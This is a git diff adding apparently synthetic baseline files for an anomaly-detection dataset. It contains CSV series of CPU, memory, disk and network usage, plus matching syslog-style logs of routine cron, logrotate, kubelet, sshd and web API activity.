/api/v1/user/34 status=200 OK +Aug 22 10:04:55 web-app[28351]: GET /api/v1/status status=200 OK +Aug 22 10:05:05 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:05:10 web-app[28351]: GET /api/v1/status status=200 OK +Aug 22 10:05:15 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:05:20 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:05:30 web-app[28351]: POST /api/v1/login status=200 OK +Aug 22 10:05:35 web-app[28351]: GET /api/v1/status status=200 OK +Aug 22 10:05:40 systemd[1]: Starting daily network connection check... +Aug 22 10:06:15 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:06:20 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:06:30 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:06:35 web-app[28351]: POST /api/v1/login status=200 OK +Aug 22 10:06:40 web-app[28351]: GET /api/v1/status status=200 OK +Aug 22 10:06:50 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:06:55 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:07:00 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:07:05 systemd[1]: Starting daily network connection check... +Aug 22 10:07:10 web-app[28351]: POST /api/v1/login status=200 OK +Aug 22 10:07:15 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:07:20 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:07:25 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... diff --git a/norm_dataset/scenario_2/norm_2_44.csv b/norm_dataset/scenario_2/norm_2_44.csv new file mode 100644 index 0000000000000000000000000000000000000000..89a4246ea5fb7d13feb1275a521d126212aabee3 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_44.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.73,40.83,20.72,1.2,1.18 +2025-07-02T12:00:05Z,11.89,38.14,31.39,1.11,0.8 +2025-07-02T12:00:10Z,11.12,43.11,22.54,1.0,0.79 +2025-07-02T12:00:15Z,17.15,41.64,24.38,0.9,1.22 +2025-07-02T12:00:20Z,11.68,39.67,22.23,1.08,1.37 +2025-07-02T12:00:25Z,10.99,39.84,21.28,1.49,1.19 +2025-07-02T12:00:30Z,19.55,39.42,30.95,0.51,0.6 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+2025-07-02T12:07:15Z,16.46,42.25,21.83,0.52,0.84 +2025-07-02T12:07:20Z,14.95,39.75,39.37,0.87,0.82 +2025-07-02T12:07:25Z,16.98,35.88,23.71,1.47,1.15 diff --git a/norm_dataset/scenario_2/norm_2_44.log b/norm_dataset/scenario_2/norm_2_44.log new file mode 100644 index 0000000000000000000000000000000000000000..914c6989ee613c0e720d2d228eba6cb064255ce9 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_44.log @@ -0,0 +1,33 @@ +Jul 02 12:00:00 kubelet[2345]: INFO Readiness probe succeeded for pod db-pod +Jul 02 12:00:23 web-app[1234]: POST /api/v1/submit status=201 Created +Jul 02 12:00:41 database[5678]: INFO: Query successful. +Jul 02 12:01:06 database[5678]: INFO: Connection established. +Jul 02 12:01:14 database[5678]: INFO: Connection established. +Jul 02 12:01:27 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:52 database[5678]: INFO: Query successful. +Jul 02 12:02:06 database[5678]: WARN: High query latency detected. +Jul 02 12:02:25 systemd[1]: Started session 123 of user root. +Jul 02 12:02:49 database[5678]: WARN: High query latency detected. +Jul 02 12:02:56 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:00 CRON[6543]: (root) CMD (run-parts /etc/cron.daily) +Jul 02 12:03:01 systemd[1]: Starting Log Rotation... +Jul 02 12:03:12 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:13 systemd[1]: Finished Log Rotation. +Jul 02 12:03:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:20 web-app[1234]: POST /api/v1/submit status=201 Created +Jul 02 12:03:29 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:53 systemd[1]: Started session 123 of user root. +Jul 02 12:04:14 kubelet[2345]: INFO Readiness probe succeeded for pod db-pod +Jul 02 12:04:21 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:04:45 web-app[1234]: POST /api/v1/submit status=201 Created +Jul 02 12:04:58 systemd[1]: Started session 123 of user root. +Jul 02 12:05:03 database[5678]: INFO: Query successful. +Jul 02 12:05:16 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:39 systemd[1]: Started session 123 of user root. +Jul 02 12:05:57 database[5678]: INFO: Connection established. +Jul 02 12:06:04 kubelet[2345]: INFO Readiness probe succeeded for pod db-pod +Jul 02 12:06:21 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:29 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:34 web-app[1234]: POST /api/v1/submit status=201 Created +Jul 02 12:06:47 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:07:08 web-app[1234]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_45.csv b/norm_dataset/scenario_2/norm_2_45.csv new file mode 100644 index 0000000000000000000000000000000000000000..2e674f7b887f5c36d2a9fb9912cee72ded66760d --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_45.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.75,36.2,8.41,1.31,0.89 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+2025-07-02T12:06:45Z,16.23,35.17,14.9,1.36,1.49 +2025-07-02T12:06:50Z,13.31,40.12,6.4,1.16,0.87 +2025-07-02T12:06:55Z,10.64,37.26,10.18,0.66,0.87 +2025-07-02T12:07:00Z,13.11,41.45,13.77,0.57,1.31 +2025-07-02T12:07:05Z,13.25,36.74,12.41,1.14,1.45 +2025-07-02T12:07:10Z,17.3,41.91,11.97,0.53,1.49 +2025-07-02T12:07:15Z,16.38,38.87,12.02,1.09,1.25 +2025-07-02T12:07:20Z,18.87,44.37,8.59,1.44,0.88 +2025-07-02T12:07:25Z,14.72,36.38,7.94,1.08,0.58 diff --git a/norm_dataset/scenario_2/norm_2_45.log b/norm_dataset/scenario_2/norm_2_45.log new file mode 100644 index 0000000000000000000000000000000000000000..9e68ff99310842a0e79487c0cfc54053ce9215bd --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_45.log @@ -0,0 +1,17 @@ +Jul 02 12:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:00:27 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:06 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:37 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:52 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:02:12 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:39 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:08 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:03:30 systemd[1]: Starting logrotate.service... +Jul 02 12:03:55 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:30 kubelet[2345]: INFO Readiness probe succeeded for pod web-app-pod +Jul 02 12:04:54 web-app[1234]: GET /api/v1/metrics status=200 OK +Jul 02 12:05:32 kubelet[2345]: INFO Readiness probe succeeded for pod web-app-pod +Jul 02 12:06:09 web-app[1234]: GET /api/v1/metrics status=200 OK +Jul 02 12:06:45 kubelet[2345]: INFO Readiness probe succeeded for pod web-app-pod +Jul 02 12:07:05 kubelet[2345]: INFO Readiness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_5.csv b/norm_dataset/scenario_2/norm_2_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..6e50b6e5d44e355930866307b92e4fbba00fdcdd --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,13.763522526083433,46.690790120140164,29.358699888280317,1.4027125505053961,0.9630994160174131 +2025-08-19T10:00:05Z,22.192411331794133,46.56818795800684,29.481237158464005,1.4110327457303935,0.7950368462613813 +2025-08-19T10:00:10Z,16.555635095671256,45.88279868911792,33.10562697655399,0.780384838094254,1.0487343842174335 +2025-08-19T10:00:15Z,9.528217120703772,44.86276069812517,25.513336621647852,1.5224689926374793,1.0435201947242132 +2025-08-19T10:00:20Z,16.09984773203229,45.32908962140028,35.947091419230425,1.3870564011704032,0.4992298733595888 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+2025-08-19T10:07:15Z,17.086946365396194,44.67037862661671,26.65839688906063,1.305248296746317,1.0349454977385817 +2025-08-19T10:07:20Z,16.212060237044355,45.70462779888521,32.35580232342526,1.3361497494438148,0.9144796000191374 +2025-08-19T10:07:25Z,16.07812308048908,47.95594836176667,35.8393630634283,1.211844399574525,0.8058639759050188 diff --git a/norm_dataset/scenario_2/norm_2_5.log b/norm_dataset/scenario_2/norm_2_5.log new file mode 100644 index 0000000000000000000000000000000000000000..3026eab9e910c2f2e98e9d025541adf57a6bca9e --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_5.log @@ -0,0 +1,75 @@ +Aug 19 10:00:00 CRON[15335]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:00:05 web-server[1122]: 192.168.1.28 - GET /api/v1/login status=200 OK +Aug 19 10:00:15 web-server[1122]: 192.168.1.27 - GET /api/v1/orders status=200 OK +Aug 19 10:00:25 web-server[1122]: 192.168.1.28 - GET /api/v1/products status=200 OK +Aug 19 10:00:30 CRON[10229]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:00:30 web-server[1122]: 192.168.1.21 - GET /api/v1/users status=200 OK +Aug 19 10:00:40 web-server[1122]: 192.168.1.28 - GET /api/v1/products status=200 OK +Aug 19 10:00:45 web-server[1122]: 192.168.1.21 - GET /api/v1/orders status=200 OK +Aug 19 10:00:55 web-server[1122]: 192.168.1.20 - GET /api/v1/login status=200 OK +Aug 19 10:01:00 CRON[15863]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:01:05 web-server[1122]: 192.168.1.25 - GET /api/v1/orders status=200 OK +Aug 19 10:01:15 web-server[1122]: 192.168.1.24 - GET /api/v1/login status=404 Not Found +Aug 19 10:01:20 web-server[1122]: 192.168.1.24 - GET /api/v1/login status=200 OK +Aug 19 10:01:30 CRON[13788]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:01:30 web-server[1122]: 192.168.1.21 - GET /api/v1/users status=200 OK +Aug 19 10:01:35 web-server[1122]: 192.168.1.23 - GET /api/v1/orders status=500 Internal Server Error +Aug 19 10:01:40 web-server[1122]: 192.168.1.26 - GET /api/v1/users status=200 OK +Aug 19 10:01:45 web-server[1122]: 192.168.1.26 - GET /api/v1/products status=200 OK +Aug 19 10:02:00 CRON[19056]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:02:00 web-server[1122]: 192.168.1.27 - GET /api/v1/products status=201 Created +Aug 19 10:02:10 web-server[1122]: 192.168.1.20 - GET /api/v1/orders status=200 OK +Aug 19 10:02:15 web-server[1122]: 192.168.1.24 - GET /api/v1/login status=200 OK +Aug 19 10:02:20 web-server[1122]: 192.168.1.25 - GET /api/v1/login status=200 OK +Aug 19 10:02:25 web-server[1122]: 192.168.1.20 - GET /api/v1/products status=200 OK +Aug 19 10:02:30 CRON[15627]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:02:30 web-server[1122]: 192.168.1.29 - GET /api/v1/products status=200 OK +Aug 19 10:02:35 web-server[1122]: 192.168.1.20 - GET /api/v1/orders status=200 OK +Aug 19 10:02:50 web-server[1122]: 192.168.1.21 - GET /api/v1/products status=200 OK +Aug 19 10:02:55 web-server[1122]: 192.168.1.26 - GET /api/v1/products status=201 Created +Aug 19 10:03:00 systemd[1]: Starting Daily rotation of log files... +Aug 19 10:03:01 logrotate[12345]: compressing /var/log/web-server.log +Aug 19 10:03:02 logrotate[12345]: rotating /var/log/database.log +Aug 19 10:03:04 systemd[1]: Finished Daily rotation of log files. +Aug 19 10:03:04 systemd[1]: logrotate.service: Succeeded. +Aug 19 10:03:10 web-server[1122]: 192.168.1.27 - GET /api/v1/users status=200 OK +Aug 19 10:03:15 web-server[1122]: 192.168.1.24 - GET /api/v1/login status=200 OK +Aug 19 10:03:20 web-server[1122]: 192.168.1.25 - GET /api/v1/users status=200 OK +Aug 19 10:03:25 web-server[1122]: 192.168.1.28 - GET /api/v1/login status=200 OK +Aug 19 10:03:30 CRON[12104]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:03:35 web-server[1122]: 192.168.1.20 - GET /api/v1/users status=200 OK +Aug 19 10:03:45 web-server[1122]: 192.168.1.27 - GET /api/v1/login status=200 OK +Aug 19 10:03:50 web-server[1122]: 192.168.1.25 - GET /api/v1/orders status=200 OK +Aug 19 10:03:55 web-server[1122]: 192.168.1.29 - GET /api/v1/users status=200 OK +Aug 19 10:04:00 CRON[17859]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:04:00 web-server[1122]: 192.168.1.25 - GET /api/v1/users status=200 OK +Aug 19 10:04:05 web-server[1122]: 192.168.1.24 - GET /api/v1/users status=200 OK +Aug 19 10:04:20 web-server[1122]: 192.168.1.28 - GET /api/v1/orders status=200 OK +Aug 19 10:04:30 CRON[16850]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:04:30 web-server[1122]: 192.168.1.21 - GET /api/v1/products status=200 OK +Aug 19 10:04:40 web-server[1122]: 192.168.1.26 - GET /api/v1/login status=404 Not Found +Aug 19 10:04:55 web-server[1122]: 192.168.1.22 - GET /api/v1/login status=200 OK +Aug 19 10:05:00 CRON[12274]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:05:00 web-server[1122]: 192.168.1.22 - GET /api/v1/products status=200 OK +Aug 19 10:05:05 web-server[1122]: 192.168.1.24 - GET /api/v1/login status=200 OK +Aug 19 10:05:10 web-server[1122]: 192.168.1.28 - GET /api/v1/login status=200 OK +Aug 19 10:05:15 web-server[1122]: 192.168.1.29 - GET /api/v1/login status=500 Internal Server Error +Aug 19 10:05:30 CRON[18209]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:05:30 web-server[1122]: 192.168.1.24 - GET /api/v1/login status=200 OK +Aug 19 10:05:35 web-server[1122]: 192.168.1.21 - GET /api/v1/products status=200 OK +Aug 19 10:05:45 web-server[1122]: 192.168.1.26 - GET /api/v1/products status=201 Created +Aug 19 10:05:55 web-server[1122]: 192.168.1.28 - GET /api/v1/login status=200 OK +Aug 19 10:06:00 CRON[16346]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:06:00 web-server[1122]: 192.168.1.22 - GET /api/v1/users status=200 OK +Aug 19 10:06:05 web-server[1122]: 192.168.1.24 - GET /api/v1/login status=200 OK +Aug 19 10:06:10 web-server[1122]: 192.168.1.27 - GET /api/v1/users status=200 OK +Aug 19 10:06:20 web-server[1122]: 192.168.1.25 - GET /api/v1/products status=200 OK +Aug 19 10:06:30 CRON[11053]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:06:30 web-server[1122]: 192.168.1.21 - GET /api/v1/products status=201 Created +Aug 19 10:06:35 web-server[1122]: 192.168.1.21 - GET /api/v1/orders status=200 OK +Aug 19 10:06:55 web-server[1122]: 192.168.1.24 - GET /api/v1/login status=200 OK +Aug 19 10:07:00 CRON[17225]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 19 10:07:00 web-server[1122]: 192.168.1.24 - GET /api/v1/orders status=200 OK +Aug 19 10:07:15 web-server[1122]: 192.168.1.24 - GET /api/v1/users status=200 OK +Aug 19 10:07:20 web-server[1122]: 192.168.1.27 - GET /api/v1/login status=500 Internal Server Error +Aug 19 10:07:25 web-server[1122]: 192.168.1.22 - GET /api/v1/orders status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_6.csv b/norm_dataset/scenario_2/norm_2_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..4808a66f7089e66d2429df4423e073b8d6d01392 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,17.69,37.81,28.62,0.62,0.65 +2025-07-15T10:00:05Z,19.92,40.87,24.23,0.91,0.91 +2025-07-15T10:00:10Z,19.53,41.14,29.19,0.83,0.81 +2025-07-15T10:00:15Z,16.05,39.42,35.05,0.86,0.86 +2025-07-15T10:00:20Z,19.57,39.84,30.09,1.45,0.4 +2025-07-15T10:00:25Z,20.41,40.93,33.27,0.83,0.99 +2025-07-15T10:00:30Z,17.52,39.84,26.77,1.17,0.46 +2025-07-15T10:00:35Z,14.7,36.02,35.04,1.0,0.69 +2025-07-15T10:00:40Z,18.47,40.86,27.47,1.07,1.0 +2025-07-15T10:00:45Z,12.7,43.44,32.1,1.27,0.51 +2025-07-15T10:00:50Z,13.41,37.35,29.61,0.72,0.62 +2025-07-15T10:00:55Z,17.22,38.14,34.49,0.91,0.87 +2025-07-15T10:01:00Z,15.28,39.75,25.75,1.14,0.86 +2025-07-15T10:01:05Z,16.0,40.85,25.76,1.15,1.11 +2025-07-15T10:01:10Z,20.78,36.61,31.89,0.81,0.68 +2025-07-15T10:01:15Z,13.83,42.2,19.66,0.98,0.58 +2025-07-15T10:01:20Z,15.22,40.27,31.74,1.16,1.33 +2025-07-15T10:01:25Z,12.72,42.11,30.26,1.35,1.19 +2025-07-15T10:01:30Z,10.72,42.74,30.72,0.81,0.89 +2025-07-15T10:01:35Z,14.74,44.34,30.33,0.63,0.86 +2025-07-15T10:01:40Z,15.8,40.08,31.49,1.02,1.01 +2025-07-15T10:01:45Z,16.02,37.52,35.55,1.03,0.56 +2025-07-15T10:01:50Z,11.35,42.68,26.89,1.55,1.11 +2025-07-15T10:01:55Z,16.66,41.33,30.5,0.81,0.77 +2025-07-15T10:02:00Z,14.66,33.0,34.42,0.98,1.1 +2025-07-15T10:02:05Z,17.11,43.17,29.21,1.05,0.88 +2025-07-15T10:02:10Z,14.64,43.42,27.53,1.08,0.45 +2025-07-15T10:02:15Z,17.76,37.67,40.41,0.86,0.66 +2025-07-15T10:02:20Z,14.6,42.56,27.08,0.53,0.92 +2025-07-15T10:02:25Z,19.7,42.75,33.8,0.92,0.93 +2025-07-15T10:02:30Z,19.12,36.03,30.09,1.1,0.56 +2025-07-15T10:02:35Z,17.46,44.12,21.76,0.72,0.9 +2025-07-15T10:02:40Z,12.83,39.39,25.83,1.08,0.97 +2025-07-15T10:02:45Z,14.09,37.67,29.94,1.07,0.71 +2025-07-15T10:02:50Z,11.51,36.15,23.33,0.91,0.85 +2025-07-15T10:02:55Z,16.5,37.18,14.76,0.95,0.83 +2025-07-15T10:03:00Z,16.54,39.92,26.72,0.99,0.34 +2025-07-15T10:03:05Z,16.29,39.58,29.78,1.07,0.91 +2025-07-15T10:03:10Z,16.41,38.94,25.17,1.22,0.78 +2025-07-15T10:03:15Z,12.61,40.29,32.25,0.63,0.95 +2025-07-15T10:03:20Z,15.38,37.79,28.64,1.09,0.88 +2025-07-15T10:03:25Z,12.79,41.23,32.9,0.9,0.8 +2025-07-15T10:03:30Z,14.01,37.88,33.18,1.38,0.88 +2025-07-15T10:03:35Z,16.39,43.84,38.62,1.02,1.0 +2025-07-15T10:03:40Z,11.61,40.36,25.18,0.66,1.02 +2025-07-15T10:03:45Z,87.0,35.17,83.48,1.15,1.12 +2025-07-15T10:03:50Z,79.43,42.14,88.56,1.25,0.43 +2025-07-15T10:03:55Z,83.39,40.45,90.35,1.07,0.62 +2025-07-15T10:04:00Z,93.04,41.9,89.25,0.98,1.11 +2025-07-15T10:04:05Z,75.94,41.11,87.3,0.99,0.71 +2025-07-15T10:04:10Z,80.76,36.42,89.37,1.12,0.7 +2025-07-15T10:04:15Z,15.87,41.45,30.89,1.04,0.75 +2025-07-15T10:04:20Z,11.1,42.15,27.53,0.9,1.08 +2025-07-15T10:04:25Z,15.09,39.88,26.37,0.79,0.79 +2025-07-15T10:04:30Z,10.18,36.31,27.47,1.04,0.49 +2025-07-15T10:04:35Z,17.0,39.95,36.49,1.1,0.62 +2025-07-15T10:04:40Z,18.93,38.55,26.16,0.95,0.78 +2025-07-15T10:04:45Z,17.74,39.54,31.94,0.97,1.06 +2025-07-15T10:04:50Z,15.91,40.57,29.78,1.16,1.04 +2025-07-15T10:04:55Z,11.5,41.26,29.41,1.26,0.77 +2025-07-15T10:05:00Z,10.37,35.8,24.12,1.05,0.86 +2025-07-15T10:05:05Z,20.03,39.9,29.66,1.04,0.68 +2025-07-15T10:05:10Z,16.15,41.23,28.9,0.78,0.96 +2025-07-15T10:05:15Z,18.16,40.67,28.91,0.75,0.97 +2025-07-15T10:05:20Z,16.3,42.11,25.44,1.2,0.7 +2025-07-15T10:05:25Z,16.04,43.01,32.32,0.75,0.73 +2025-07-15T10:05:30Z,14.37,38.22,35.72,0.84,0.51 +2025-07-15T10:05:35Z,13.5,40.55,34.33,1.21,0.85 +2025-07-15T10:05:40Z,17.23,39.45,28.59,1.07,0.69 +2025-07-15T10:05:45Z,13.73,40.24,29.13,1.24,0.7 +2025-07-15T10:05:50Z,6.58,41.95,24.74,1.12,0.72 +2025-07-15T10:05:55Z,12.29,37.65,30.07,1.33,0.71 +2025-07-15T10:06:00Z,17.01,40.35,38.47,0.81,0.53 +2025-07-15T10:06:05Z,16.63,42.54,36.57,1.05,0.78 +2025-07-15T10:06:10Z,15.82,37.46,30.27,0.97,1.06 +2025-07-15T10:06:15Z,15.8,39.95,34.4,1.04,0.88 +2025-07-15T10:06:20Z,16.17,40.01,32.32,0.77,0.62 +2025-07-15T10:06:25Z,12.6,35.84,35.52,1.09,0.68 +2025-07-15T10:06:30Z,15.36,39.79,29.72,0.82,0.87 +2025-07-15T10:06:35Z,15.65,36.31,22.26,0.9,0.46 +2025-07-15T10:06:40Z,14.02,37.38,26.69,1.04,0.77 +2025-07-15T10:06:45Z,10.68,37.54,33.15,1.31,0.71 +2025-07-15T10:06:50Z,12.37,41.59,32.76,1.1,0.47 +2025-07-15T10:06:55Z,12.89,40.8,29.11,0.84,0.87 +2025-07-15T10:07:00Z,14.9,41.97,26.93,0.85,0.84 +2025-07-15T10:07:05Z,12.9,38.63,45.21,1.1,0.65 +2025-07-15T10:07:10Z,11.27,42.49,29.89,1.17,0.78 +2025-07-15T10:07:15Z,11.42,42.3,29.87,0.88,0.63 +2025-07-15T10:07:20Z,15.29,41.0,32.39,1.0,0.49 +2025-07-15T10:07:25Z,14.31,38.41,31.08,0.96,0.72 diff --git a/norm_dataset/scenario_2/norm_2_6.log b/norm_dataset/scenario_2/norm_2_6.log new file mode 100644 index 0000000000000000000000000000000000000000..67f59448388832e0874e933828e0f284f9ae684b --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_6.log @@ -0,0 +1,90 @@ +Jul 15 10:00:00 CRON[8702]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:00:05 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:00:10 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:00:15 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:00:20 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:00:25 web-app[1234]: GET /api/v1/user/168 status=200 OK +Jul 15 10:00:30 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:00:35 CRON[5904]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:00:40 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:00:45 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:00:50 web-app[1234]: GET /api/v1/user/44 status=200 OK +Jul 15 10:00:55 systemd[1]: Starting daily clean up activities... +Jul 15 10:01:00 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:01:05 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:01:10 CRON[5965]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:15 web-app[1234]: GET /api/v1/user/178 status=200 OK +Jul 15 10:01:20 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:01:25 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:01:30 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:01:35 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:01:40 web-app[1234]: GET /api/v1/user/146 status=200 OK +Jul 15 10:01:45 CRON[5709]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:50 systemd[1]: Starting daily clean up activities... +Jul 15 10:01:55 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:02:00 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:02:05 web-app[1234]: GET /api/v1/user/161 status=200 OK +Jul 15 10:02:10 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:02:15 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:02:20 CRON[7090]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:02:25 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:02:30 web-app[1234]: GET /api/v1/user/141 status=200 OK +Jul 15 10:02:35 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:02:40 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:02:45 systemd[1]: Starting daily clean up activities... +Jul 15 10:02:50 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:02:55 CRON[5816]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:03:00 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:03:05 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:03:10 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:03:15 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:03:20 web-app[1234]: GET /api/v1/user/125 status=200 OK +Jul 15 10:03:25 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:03:30 CRON[7531]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:03:35 systemd[1]: Starting Log Rotation... +Jul 15 10:03:40 systemd[1]: Starting daily clean up activities... +Jul 15 10:03:45 logrotate[5821]: rotating pattern: /var/log/nginx/access.log +Jul 15 10:03:50 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:03:55 logrotate[5821]: compressing /var/log/syslog to /var/log/syslog.1.gz +Jul 15 10:04:00 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:04:05 CRON[8309]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:04:10 web-app[1234]: GET /api/v1/user/132 status=200 OK +Jul 15 10:04:15 systemd[1]: logrotate.service: Succeeded. +Jul 15 10:04:20 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:04:25 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:04:30 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:04:35 web-app[1234]: GET /api/v1/user/185 status=200 OK +Jul 15 10:04:40 CRON[7286]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:04:45 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:04:50 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:04:55 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:05:00 web-app[1234]: GET /api/v1/user/55 status=200 OK +Jul 15 10:05:05 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:05:10 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:05:15 CRON[5358]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:05:20 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:05:25 web-app[1234]: GET /api/v1/user/144 status=200 OK +Jul 15 10:05:30 systemd[1]: Starting daily clean up activities... +Jul 15 10:05:35 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:05:40 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:05:45 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:05:50 CRON[7070]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:05:55 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:00 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:05 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:10 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:15 web-app[1234]: GET /api/v1/user/24 status=200 OK +Jul 15 10:06:20 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:25 CRON[8388]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:06:30 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:35 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:40 web-app[1234]: GET /api/v1/user/62 status=200 OK +Jul 15 10:06:45 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:50 web-app[1234]: GET /api/v1/products status=200 OK +Jul 15 10:06:55 web-app[1234]: 